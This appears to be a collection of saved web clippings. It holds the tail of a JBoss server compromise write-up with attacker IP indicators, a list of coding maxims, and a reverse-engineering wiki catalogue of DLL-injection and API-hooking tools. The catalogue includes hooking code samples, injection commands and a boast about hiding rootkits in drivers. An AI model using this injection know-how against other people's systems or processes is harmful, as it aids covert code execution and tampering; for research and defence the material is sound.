balancer virtual IP address and not the service directly. This meant that they
would be sent to one of the two servers depending on the server load and
algorithm used. Because server two was never fully compromised, we suspect
that the attacker didn’t know they were dealing with two different servers and
not just one.

  
In any case, the attackers were able to get server one, deploy a rogue URL,
push a remote shell and then drop Zmeu. Server two had its URL configuration
updated, but because of complications getting files/executing commands, it
appeared to keep trying to get the WAR/JAR from the remote server with no
luck.

Conclusions

This attack was not sophisticated by any means and seemed to be more of a
lucky strike than anything else, but as someone who looks at malware, I felt
this was an important story to share. Often times we hear of attackers gaining
access into networks, but we never see the write-ups of how it was done, what
they took and what potentially motivated them. While we can’t be certain of
what the attackers took, we do know how they got in which enabled us to fix
the issue.

  
Using the write-up on JBOSS hacking mentioned earlier and our summary of this
incident, changes were pushed on the servers to force authentication on all
aspects of the JBOSS/Sun Server installation. This event also sparked
administrators to pay closer attention to what sensitive data, if any, were
left on the systems.

Lastly, below are our thoughts on each of the used IP addresses used in the
attack based on the information we saw:

  * 86.121.110.96 \(Romania\) - Main attacker address
  * 212.79.239.51 \(Netherlands\) - Attacker callback
  * 130.237.188.216 \(Sweden\) - Public IRC
  * 94.125.182.255 \(Hungary\) - Public IRC
  * 208.83.20.130 \(Florida\) - Public IRC
  * 212.170.156.148 \(Spain\) - Compromised server used to hold WAR/JAR files?
  * 212.170.149.56 \(Spain\) - Backup compromised server?
  * rocarp.com - Compromised server used to hold remote shell script

# Laws of Source Code and Software Development « Juixe TechKnow

**Created:**| _5/22/2009 4:57:23 PM_  
---|---  
**Updated:**| _5/22/2009 4:57:56 PM_  
**Author:**| __  
**Tags:**| _Law programming_  
  

## Laws of Source Code and Software Development

7  
MAY12

I’ve worked in a variety of projects, in a myriad of languages, and have
learned the following universal truths about software development the hard
way.

  * **Commented out code are not comments** \- Use version control, don’t track code changes by commenting them out. Commented out code is schizophrenic code.
  * **Let your reputation and code precede you** \- If you work on open source projects, blog, and work your network, you will get more job offers even when you aren’t looking for a job than people that are looking for a job and just email out resumes.
  * **Don’t make excuses for code, let it speak for itself** \- You are paid to find solutions using code, not find excuses for your code. ‘It worked on my machine’ is not a solution. You will not ship out your computer to the client with the application.
  * **Don’t take code personal** \- Don’t take code reviews personally, it is not about you but a business feature and the overall performance of the application.
  * **Your code is your career legacy** \- For years after you leave, those that will maintain your code will either curse you or thank you.
  * **Coding does not equal programming** \- Writing code is not the same thing as software development, one requires thought while the other does not. Just like playing with your iPod does not make you a musician.
  * **Code is about learning** \- Moore’s Law states that technology doubles every 18 months, you should keep up. If you are not learning you are doing it wrong. Every project is an opportunity to learn.
  * **Code is communication** \- People will read the code you write. Use best practices and common design patterns and idioms. Strive for simplicity over impressing the monkey on your back. Your code should communicate clearly and concisely it’s intent. Code talks, bugs walks\!
  * **It is not the tools that make a developer** \- Know your tools and use them to their full power but don’t use them as a crutch\! Switching between IDEs should not stop you on your tracks because you can’t find the correct code generation wizard. Michelangelo was a great artist with nothing more than a chisel and a slab of marble.
  * **Don’t trust your code** \- Trust in your coding abilities does not replace repeatable testing. Don’t trust your code, assumptions, or users.
  * **Code is not written in Latin** \- Code is not dead once the application ships. Code is always refactored, modified, re-used, and evolving. Your greatest strength is not writing mountains of new lines of code but maintaining, refactoring, and herding existing code into performing business requirements as per an agreed specification.
  * **Respect the API** \- Your API is a contract others will depend on. Keep the API clean and explicit\! The least amount of methods you expose is less testing and maintenance and documentation that you need to maintain.
  * **Code outlives its intention** \- As much as you would like, writing your application from scratch in the latest programming language or framework will not benefit the number of end users that for one reason or another are stuck with the current version of the software. Code can outlive it’s original intention, design for extensibility and adaptability.
  * **Code means different things to different people** \- In the end, to end users code simply means the ability to do what they expect.

# Category:Code Injection Tools - Collaborative RCE Tool Library

**Created:**| _9/20/2009 1:46:53 PM_  
---|---  
**Updated:**| _9/20/2009 1:47:15 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification security tools binary
instrumentation_  
  

### From Collaborative RCE Tool Library

Jump to: navigation, search

# Code Injection Tools

  

Tool name:| Detours| | 
  * Currently5/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 5.0 \(1 vote\)_  
Author:| Microsoft  
Website:| http://research.microsoft.com/sn/detours  
Current version:| 2.1.216  
Last updated:| November 10, 2008  
Direct D/L link:|
http://ftp.research.microsoft.com/downloads/d36340fb-4d3c-4ddd-
bf5b-1db25d03713d/DetoursExpress.msi  
License type:| Free  
Description:| Innovative systems research hinges on the ability to easily
instrument and extend existing operating system and application functionality.
With access to appropriate source code, it is often trivial to insert new
instrumentation or extensions by rebuilding the OS or application. However, in
today's world systems researchers seldom have access to all relevant source
code.  
  
Detours is a library for instrumenting arbitrary Win32 functions on x86, x64,
and IA64 machines. Detours intercepts Win32 functions by re-writing the in-
memory code for target functions. The Detours package also contains utilities
to attach arbitrary DLLs and data segments \(called payloads\) to any Win32
binary.  
  
Detours preserves the un-instrumented target function \(callable through a
trampoline\) as a subroutine for use by the instrumentation. Our trampoline
design enables a large class of innovative extensions to existing binary
software.  
  
We have used Detours to create an automatic distributed partitioning system,
to instrument and analyze the DCOM protocol stack, and to create a thunking
layer for a COM-based OS API. Detours is used widely within Microsoft and
within the industry.  
  
Detours 2.1 is now available. Detours 2.1 includes the following new features:  
  
\* Complete documentation of the Detours API.  
\* Transactional model for attaching and detaching detours.  
\* Support for updating peer threads when attaching or detaching detours.  
\* Unification of dynamic and static detours into a single API.  
\* Support for detection of detoured processes.  
\* Significant robustness improvements in APIs that start a process with a DLL
containing detour functions.  
\* New APIs to copy payloads into target processes.  
\* Support for 64-bit code on x64 and IA64 processors \(available in
Professional edition only\).  
\* Supports building detours with Visual Studio 2005, Visual Studio .NET 2003,
Visual Studio .NET \(VC8\), and Visual Studio \(VC7\).  
Also listed in:| API Monitoring Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| radare| | 
  * Currently5/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 5.0 \(1 vote\)_  
Author:| pancake  
Website:| http://radare.nopcode.org  
Current version:| 1.4.1  
Last updated:| June 12, 2009  
Direct D/L link:| http://radare.nopcode.org/get/radare-1.4.1.tar.gz  
License type:| GPL  
Description:| <nowiki>The radare project aims to provide a complete unix-like
toolchain for working with binary files. It currently provides a set of tools
to work with x86, arm and java with some ones powerpc.  
  
The core is a raw hexadecimal editor for commandline with scripting features
and perl/python extensions that gets extended with IO plugins that hooks the
open/read/write/close/system calls.  
  
The debugger and disassembler has a code analysis module for x86, mips, arm
and java. This way it's possible to draw graphs using Cairo on a GTK window or
store the flow execution of a program on a log file and use the information to
diff't against another trace or binary.  
  
The toolchain provides assemblers and disasemblers for x86, arm, mips
\(Loongson2F\), sparc, CSR, m68k, powerpc, msil and java.  
  
The disassembler has been enhaced to handle inline comments, code block
detections and flag references \(data pointers or so\).  
  
The debugger is mainly developed on linux and \{Net  
Also listed in:| .NET Disassemblers, Assemblers, Binary Diff Tools, Debuggers,
Disassemblers, Hex Editors, Java Disassembler Libraries, Linux Debuggers,
Linux Disassemblers, Linux Tools, Memory Dumpers, Memory Patchers, Process
Dumpers, Reverse Engineering Frameworks, Ring 3 Debuggers, String Finders,
Symbol Retrievers, SysCall Monitoring Tools, Tracers  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Rebel.NET| | 
  * Currently5/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 5.0 \(1 vote\)_  
Author:| Daniel Pistelli  
Website:| http://ntcore.com/rebelnet.php  
Current version:| 1.3.0.1  
Last updated:| February 19, 2009  
Direct D/L link:| http://ntcore.com/Files/RebelDotNET.zip  
License type:| Free  
Description:| Rebel.NET is a rebuilding tool for .NET assemblies which is
capable of adding and replacing methods and streams.  
  
It's possible to replace only a limited number of methods or every method
contained in a .NET assembly. The simplicity of Rebel.NET consists in the
replacing process: one can choose what to replace. For instance, one may
choose to replace only the method code, instead of its signature or method
header.  
  
The interface of Rebel.NET is quite a simple one. As input it requires a .NET
assembly to be rebuilded and a Rebel.NET rebuilding file. The Rebel.NET file
contains the data that has to be replaced in the original assembly.  
  
Rebel.NET can also create a Rebel.NET file from a given assembly. This is a
key functionality, since some times the data of the original assembly has to
be processed first to produce a Rebel.NET file for the rebuilding of the
assembly. This sort of "report" feature can also be used to analyze the
methods of an assembly, since reading the original data from a .NET assembly
isn't as easy as reading a Rebel.NET file. It's possible to choose what should
be contained in the Rebel.NET file.  
  
All the Rebel.NET features can used through command line, which comes very
handy when an automated rebuilding process is needed.  
  
Rebel.NET is, mainly, a very solid base to overcome every .NET protection and
to re-create a fully decompilable .NET assembly. As such, Rebel.NET has to be
considered a research project, not an encouragement to violate licensing
terms.  
Also listed in:| .NET Code Injection Tools, .NET Executable Editors  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Ultimate Hooking Engine| | 
  * Currently4/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 4.0 \(1 vote\)_  
Author:| deroko of ARTeam  
Website:| http://deroko.phearless.org  
Current version:|  
Last updated:| August 10, 2007  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| Engine allows anyone to hook APIs very easily using their
hooking dll.  
  
Each hooking dll might have 3 types of exports:  
1\. prefixed HOOK  
2\. prefixed Detoured  
3\. hookmain \(optional\)  
  
1\. Whenever you want to hook some API you will put this kind of export:  
  
HOOK\_kernel32\_GetModuleHandleA  
HOOK\_user32\_MessageBoxA  
  
Also note that inline hook will point to this procedure so this procedure  
will have all of your code responsible for certain API.  
  
2\. To be able to call original API from your hook you should export also  
this variable \(in C/C++ it will be function pointer\):  
  
Note how variables are prefixed with "Detoured\_"  
  
Detoured\_GetModuleHandleA  
Detoured\_MessageBoxA  
  
Here is one example from C/C++ code:  
  
extern "C" \_\_declspec\(dllexport\) HMODULE \(\_\_stdcall
\*Detoured\_GetModuleHandleA\)\(LPCTSTR modulename\) = NULL;  
  
extern "C" HMODULE \_\_declspec\(dllexport\) \_\_stdcall
HOOK\_kernel32\_GetModuleHandleA\(LPCTSTR modulename\)\{  
return Detoured\_GetModuleHandleA\(modulename\);  
\}  
  
Note also that this is optional, if you don't need to call orignal proc,  
then you don't need this export.  
  
Note that when working with MSVC2005 it will always screw export name for  
procedures while function pointers are properly exported, so add this line  
to your .def file:  
  
HOOK\_kernel32\_GetModuleHandleA = \_HOOK\_kernel32\_GetModuleHandleA@4  
Detoured\_GetModuleHandleA  
  
  
3\. hookmain  
  
hookmain is export which has this prototype:  
  
void \_\_stdcall hookmain\(\);  
  
This procedure will be called before program jumps to entrypoint of  
target, here you may add some extra code, it isn't very useful and  
all initialization you may perfrom in DllEntry, but I leave this here  
just in case that you want to start your own tracer before code jmps  
to entrypoint. At least that's why I'm using it.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| .NET Hook Library| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| shokshok  
Website:| http://dotnethook.sourceforge.net  
Current version:| 2.1  
Last updated:| May 30, 2002  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| .Net Hook Library is a library \(with a sample tool\) to
manipulate functions in a .NET Assembly. It allows for insertion of arbitrary
code at the beginning of each function called in a .NET assembly \(whether
executable or assembly\). Also provides code that reads through metadata and
dumps information on it.  
  
The download contains detailed documentation about how it works and what it
is.  
  
I'm in the process of converting this from an executable to a library. That
way, existing applications can use it to modify the .NET binaries \(a.k.a
assemblies\).  
Also listed in:| .NET Code Injection Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| CHook| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Darawk  
Website:| _N/A_  
Current version:|  
Last updated:| October 16, 2005  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| This is my hooking library that performs a variety of different
types of hooks:  
  
\- IAT hooking  
\- EAT hooking  
\- Debug register hooking  
\- Thread-safe jmp patch hooking using a length-disassembler engine and a code
thunk that masks the problem of jumping back to the original function.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Code Snippet Creator \(Iczelion\)| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Iczelion  
Website:| _N/A_  
Current version:| 1.05 \(build 2\)  
Last updated:| January 13, 2001  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| Code Snippet Creator is designed specifically for advanced
crackers/assembly programmers who want to create custom code snippets in
assembly language.  
  
The features of this utility:  
· Can generate code snippets and save them as binary files  
· Support both TASM and MASM  
· Provide simple integrated PE editor to edit the target file you want to
patch  
· Can patch the code snippet into a target PE file both as a new section and
as an addition to an existing section \(or PE header\)  
· You can use ANY functions that the target imports in your snippet\! This
utility will fix the calls for you.  
Also listed in:| Code Snippet Creators  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Codename ASLAN \(4514N\)| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Piotr Bania  
Website:| http://www.piotrbania.com/all/4514N/  
Current version:| \(not yet released\)  
Last updated:|  
Direct D/L link:| _N/A_  
License type:| Free  
Description:| I'm currently working on my masterpiece project \(school
project\), a first gui oriented and the most advanced integrating-metamorphic
engine so far. Integration engine allows user to integrate any code to any PE
binary file \(x86 processors\), including device drivers etc. etc. 4514N
engine can rebuild all the PE  
structure, internal offsets \(jumps,refferences\), any type of PE sections
relocs, imports, exports, resources...\), moreover it even can keep the align
of variables.  
  
Integration means that firstly target file is disassembled to pieces \(it
creates a chain which connects the body of target file\), then we move that
chain, we do everything we want \(i call this step InverseKinematics, just
because i'm an 3d graphics hobbyst\) and then we compile the chain again. Such
horrible modified application runs perfectly, moreover it is almost impossible
to disinfect the modified target. So tell me, do you want to compile a rootkit
inside of yours ndis.sys? :\)  
  
I don't want to speak much about the metamorphic engine since it is not 100%
ready yet. But the main thing you should know it is mostly based on the
emulation process \(and as far as i know it is the first metamorphic engine
which does so\), and many of the muation states are based on the Automaton
Theory \(which inspired me a lot\). Lets consider the rest of the features as
an future surprise :\)  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Comrade's PE Tools| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Comrade  
Website:| http://comrade.ownz.com/projects/petools.html  
Current version:|  
Last updated:| July 31, 2008  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| \* Inject Tool  
  
Inject is a tool that injects a DLL into a running process. Its command-line
usage is as follows:  
  
1\. Inject C:\hook.dll into pid 1234: inject.exe 1234 C:\hook.dll  
2\. Inject C:\hook.dll into process notepad.exe \(if multiple notepads are
running, then whichever one is picked is undefined\): inject.exe -p
\*notepad.exe C:\hook.dll  
3\. Inject C:\hook.dll into running process C:\myprogram.exe: inject.exe -p
C:\myprogram.exe C:\hook.dll  
4\. Inject C:\hook.dll into process with a window named "Untitled - Notepad":
inject.exe -w "Untitled - Notepad" C:\hook.dll  
5\. Inject C:\hook.dll into process with a window class Notepad: inject.exe -c
Notepad C:\hook.dll  
  
Note that in all uses, you should specify the full path to the injected DLL.  
  
  
\* Loader Tool  
  
Loader is a tool that injects a DLL before launching a process. Its command-
line usage is as follows:  
  
1\. Load notepad.exe and inject C:\hook.dll into it: loader.exe notepad.exe
C:\hook.dll  
  
Note that you should specify the full path to the injected DLL.  
  
  
\* Patch Tool  
  
Patch is a tool that adds a new section to the executable. The new section
becomes the new entrypoint, and contains code to load a particular DLL, and
then jump back to the original entrypoint. This can be used to create static
patches that behave similar to the Loader tool.  
The tool's command-line usage is as follows:  
  
1\. Patch original.exe to load C:\hook.dll before execution; save the patched
executable to patched.exe: patch.exe original.exe patched.exe C:\hook.dll  
  
  
\* Reimport Tool  
  
Reimport is a tool that redirects certain entries of an executable's import
table to another DLL. For example, running reimport.exe game.exe newgame.exe
nocd.dll kernel32.dll::GetDriveTypeA kernel32.dll::CreateFileA
kernel32.dll::GetVolumeInformation will create a copy of game.exe into
newgame.exe, with the above 3 API functions rerouted to nocd.dll, instead of
kernel32.dll. That means newgame.exe would import GetDriveTypeA, CreateFileA,
and GetVolumeInformation from nocd.dll instead of kernel32.dll.  
Also listed in:| Import Editors, PE Executable Editors  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| DLL Injection Framework| | 
  * Currently5/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 5.0 \(1 vote\)_  
Author:| Admiral  
Website:| http://www.ring3circus.com/downloads/dll-injection-framework  
Current version:| 1.0  
Last updated:| December 20, 2007  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| The process of remote function hooking via a DLL is notoriously
messy, so I’ve tried to encapsulate as much of the mess as possible into a C++
class. Here’s an example of some client code that injects a DLL into Windows
Calculator, then installs two hooks \(one by name and another by address\):  
  
\-----------------------------------------------------------------  
// Create the injection object  
DLLInjection injection\("E:/Temp/HookDLL.dll"\);  
  
// Find Calc.exe by its window  
DWORD process\_id = injection.GetProcessIDFromWindow\(  
"SciCalc",  
"Calculator"\);  
  
// Inject the DLL  
HMODULE remote\_module = injection.InjectDLL\(process\_id\);  
  
// Hook a DLL function \(User32\!SetWindowTextW\)  
HDLLHOOK swtw\_hook = injection.InstallDLLHook\(  
"C:/Windows/System32/User32.dll",  
"SetWindowTextW",  
"SetWindowTextHookW"\);  
  
// Hook a function manually \(Calc\!0100F3CF\)  
HDLLHOOK manual\_hook = injection.InstallCodeHook\(  
reinterpret\_cast \(0×0100F3CF\),  
“SomeOtherHook”\);  
  
// Remove the hooks  
injection.RemoveHook\(swtw\_hook\);  
injection.RemoveHook\(manual\_hook\);  
\-----------------------------------------------------------------  
  
Testing has been limited so don’t be surprised to find bugs. If you do find
any, please report them.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| DetourXS| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Sinner  
Website:| http://forum.gamedeception.net/showthread.php?t=10649  
Current version:| 1.0  
Last updated:| June 16, 2007  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| DetourXS is a library for function detouring.  
  
Example usage code:  
  
\---------------------------------------------------------  
\#include <detourxs.h>  
  
typedef DWORD \(WINAPI\* tGetTickCount\)\(void\);  
tGetTickCount oGetTickCount;  
  
DWORD WINAPI hGetTickCount\(void\)  
\{  
printf\("GetTickCount hooked\!"\);  
return oGetTickCount\(\);  
\}  
  
// To create the detour  
oGetTickCount = \(tGetTickCount\) DetourCreate\("kernel32.dll",
"GetTickCount", hGetTickCount, DETOUR\_TYPE\_JMP\);  
  
// ...Or an address  
oGetTickCount = \(tGetTickCount\) DetourCreate\(0x00000000, hGetTickCount,
DETOUR\_TYPE\_JMP\);  
  
// ...You can also specify the detour len  
oGetTickCount = \(tGetTickCount\) DetourCreate\(0x00000000, hGetTickCount,
DETOUR\_TYPE\_JMP, 5\);  
  
// To remove the detour  
DetourRemove\(oGetTickCount\);  
\---------------------------------------------------------  
  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Direct3D Hooking| | 
  * Currently5/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 5.0 \(1 vote\)_  
Author:| Admiral  
Website:| http://www.ring3circus.com/downloads/direct3d-hooking  
Current version:| 1.1  
Last updated:| November 27, 2007  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| A sample for hooking a Direct3D 9 program and drawing on its
viewport. Translating this to Direct3D 8 should be trivial.  
  
Notes:  
  
\* Vista support added with version 1.1  
\* This is not safe for 64-bit consumption, though that should be obvious.  
\* While there’s no reason it can’t be made to work with Unicode, I’ve written
everything in ASCII, for simplicity.  
\* By default, the DLL will increase its own reference count to prevent it
being unloaded prior to termination of the host process. This is because there
is a small risk of the DLL being unloaded by one thread, while a hooked
function in another returns to the now dead memory. I figured that it’s best
to waste a little bit of everybody’s memory than to crash unnecessarily.  
\* The d3d9.dll function addresses \(and prologues\) are hard-coded, or at
least their offsets are. While this may look very unprofessional and rather
risky, I can assure you that it’s quite safe. The alternative would be to hack
up some virtual-function tables and that’s a whole other story for a whole
other post.  
\* You may notice that the compiled DLL is dependent upon D3DX. This isn’t
necessary for the hook itself, but I used ID3DXFont in my example for
demonstrative purposes. The only reason I mention this is that there is no way
to guarantee the existence of any D3DX DLLs on a DirectX 9 machine, and
distributing them yourself is in violation of the DirectX Runtime EULA. So if
you happen to need to distribute this code, you’ll either need to carry the
huge runtime installer around, or avoid using D3DX altogether.  
\* The soft-hooks used here will cause problems with PunkBuster if applied to
any of its monitored functions. If you need to do this then you’ll have to be
a bit cleverer.  
\* The source assumes that the graphics device will never become invalid. If
you suspect that this isn’t the case \(which will be true for any full-screen
game at a minimum\) then you’ll need to add the appropriate sanity checks
\(see IDirect3DDevice9::TestCooperativeLevel\) before attempting to render
anything, lest you want to crash and burn.  
Also listed in:| DirectX Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| DynamoRIO| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Hewlett-Packard Laboratories & MIT  
Website:| http://www.cag.lcs.mit.edu/dynamorio/  
Current version:| 0.9.4 \(beta\)  
Last updated:| February 26, 2005  
Direct D/L link:| Locally archived copy  
License type:| Free  
Description:| The DynamoRIO Collaboration - Dynamo from Hewlett-Packard
Laboratories + RIO \(Runtime Introspection and Optimization\) from MIT's
Laboratory for Computer Science.  
  
The DynamoRIO dynamic code modification system, joint work between Hewlett-
Packard and MIT, is being released as a binary package with an interface for
both dynamic instrumentation and optimization. The system is based on Dynamo
from Hewlett-Packard Laboratories. It operates on unmodified native binaries
and requires no special hardware or operating system support. It is
implemented for both IA-32 Windows and Linux, and is capable of running large
desktop applications.  
  
The system's release was announced at a PLDI tutorial on June 16, 2002, titled
"On the Run - Building Dynamic Program Modifiers for Optimization,
Introspection and Security." Here is the tutorial abstract:  
  
In the new world of software, which heavily utilizes dynamic class loading,
DLLs and interconnected components, the power and reach of static analysis is
diminishing. An exciting new paradigm of dynamic program optimization,
improving the performance of a program while it is being executed, is
emerging. In this tutorial, we will describe intricacies of building a dynamic
optimizer, explore novel application areas such as program introspection and
security, and provide details of building your own dynamic code modifier using
DynamoRIO. DynamoRIO, a joint development between HP Labs and MIT, is a
powerful dynamic code modification infrastructure capable of running existing
binaries such as Microsoft Office Suite. It runs on both Windows and Linux
environments. We are offering a free release of DynamoRIO for non-commercial
use. A copy of the DynamoRIO release, which includes the binary and a powerful
API, will be provided to the attendees.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| ERESI Framework| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| The ERESI Project  
Website:| http://www.eresi-project.org  
Current version:| 0.8a23  
Last updated:| November 30, 2007  
Direct D/L link:| _N/A_  
License type:| Free / Open Source  
Description:| The ERESI Reverse Engineering Software Interface is a unified
multi-architecture binary analysis framework targeting operating systems based
on the Executable & Linking Format \(ELF\) such as Linux, \*BSD, Solaris, HP-
UX, IRIX and BeOS.  
  
ERESI is a general purpose hybrid framework : it includes both static analysis
and runtime analysis capabilities. These features are accessed by primitives
of the ERESI reverse engineering language which makes the framework more
adaptable to the precise needs of her users. It brings an environment of
choice for program analysis throught instrumentation, debugging, and tracing
as it also provides more than ten exclusive major built-in features . ERESI
can also be used for security auditing, hooking, integrity checking or logging
binary programs. The project prones modularity and reusability of code and
allows users to create their own project on top of the ERESI language
interpreter in just a few lines. Among other features, the base code can
display program graphs on demand using its automated flow analysis primitives.
Our tools are enhanced for hardened or raw systems which have no executable
data segments and no native debug API or even explicit program information.  
  
The ERESI framework includes:  
  
\* The ELF shell \(elfsh\), an interactive and scriptable ERESI interpreter
dedicated to instrumentation of ELF binary files.  
\* The Embedded ELF debugger \(e2dbg\), an interactive and scriptable high-
performance userland debugger that works without standard debug API \(namely
without ptrace\).  
\* The Embedded ELF tracer \(etrace\), an interactive and scriptable userland
tracer that works at full frequency of execution without generating traps.  
\* The Kernel shell \(kernsh\), an interactive and scriptable userland ERESI
interpreter to inject code and data in the OS kernel, but also infer, inspect
and modify kernel structures directly in the ERESI language.  
\* The Evarista static analyzer, a work in progress ERESI interpreter for
program transformation and data-flow analysis of binary programs directly
implemented in the ERESI language \(no web page yet\).  
  
Beside those top-level components, the ERESI framework contains various
libraries that can be used from one of the previously mentioned tools, or in a
standalone third-party program:  
  
\* libelfsh : the binary manipulation library on which ELFsh, E2dbg, and
Etrace are based.  
\* libe2dbg : the embedded debugger library which operates from inside the
debuggee program.  
\* libasm : the disassembly engine \(x86 and sparc\) that gives semantic
attributes to instructions and operands.  
\* libmjollnir : the code fingerprinting and graph manipulation library.  
\* librevm : the Reverse Engineering Vector Machine, that contains the meta-
language interpretor and the standard ERESI library.  
\* libaspect : the type system and aspect library. It can define complex data-
types to be manipulated ad-hoc by ERESI programs.  
\* libedfmt : the ERESI debug format library which can convert dwarf and stabs
debug formats to the ERESI debug format by automatically generating new ERESI
types.  
Also listed in:| Reverse Engineering Frameworks, Linux Debuggers, Linux
Disassemblers, Tracers  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| FastSystemCallHook| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Darawk  
Website:| _N/A_  
Current version:|  
Last updated:| April 5, 2008  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| A snippet of code which is a KiFastSystemCall hook I wrote that
hooks all user-mode APIs by replacing the SYSENTER MSR. It works also on
multi-processor systems and should be easy to extend into a fully functional
library if you want to.  
Also listed in:| API Monitoring Tools  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| HookLib| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Nektra  
Website:| http://www.nektra.com/products/deviare/hooklib/  
Current version:| 1.0  
Last updated:|  
Direct D/L link:| http://www.nektra.com/products/deviare/hooklib/hooklib.exe  
License type:| LGPL  
Description:| Nektra's hook engine used in Deviare.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| IDA Inject| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Jan Newger  
Website:| http://newgre.net/idainject  
Current version:| 1.0.3  
Last updated:| July 18, 2008  
Direct D/L link:| http://newgre.net/system/files/IDAInject.rar  
License type:| Free / Open Source  
Description:| This plugin allows you to inject dlls into a debugged process,
either prior to process creation or when the debugger is attached. The
injected dll can then do some fancy stuff inside the debugged process.  
To realize dll injection before process creation, new import descriptors are
added to the image import directory of the debuggee, whereas injection into an
already running process is realized via shellcode injection, which in turn
loads the dll in question.  
In either case, a full path to the dll can be supplied, so it is not necessary
for the dll to be in the search path.  
Also listed in:| IDA Extensions  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| ManualMap| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Darawk  
Website:| _N/A_  
Current version:|  
Last updated:| September 9, 2005  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| ManualMap is a library I wrote for dll injection by 'manually
mapping' a PE file into the remote address space of a process. Instead of
calling LoadLibrary or using SetWindowsHookEx \(which also essentially calls
LoadLibrary internally\), this code parses the PE file itself, fixes up the
relocs, maps the sections, and builds the import table. It also redirects APIs
like GetModuleHandle and GetProcAddress so that manualmap'd modules are
visible to each other, but are not visible to any other modules in the
process.  
Also listed in:| _\(Not listed in any other category\)_  
More details:| Click here for more details, screenshots, related URLs &
comments for this tool\! \(or to update its entry\)  
  
  
  

Tool name:| Mhook| | 
  * Currently0/5
  * 1
  * 2
  * 3
  * 4
  * 5

  
---  
 _Rating: 0.0 \(0 votes\)_  
Author:| Marton Anka  
Website:| http://codefromthe70s.org/mhook2.asp  
Current version:| 2.1  
Last updated:| October 15, 2007  
Direct D/L link:| Locally archived copy  
License type:| Free / Open Source  
Description:| Mhook is a library for installing API hooks. If you dabble in
this area then you’ll already know that Microsoft Research's Detours pretty
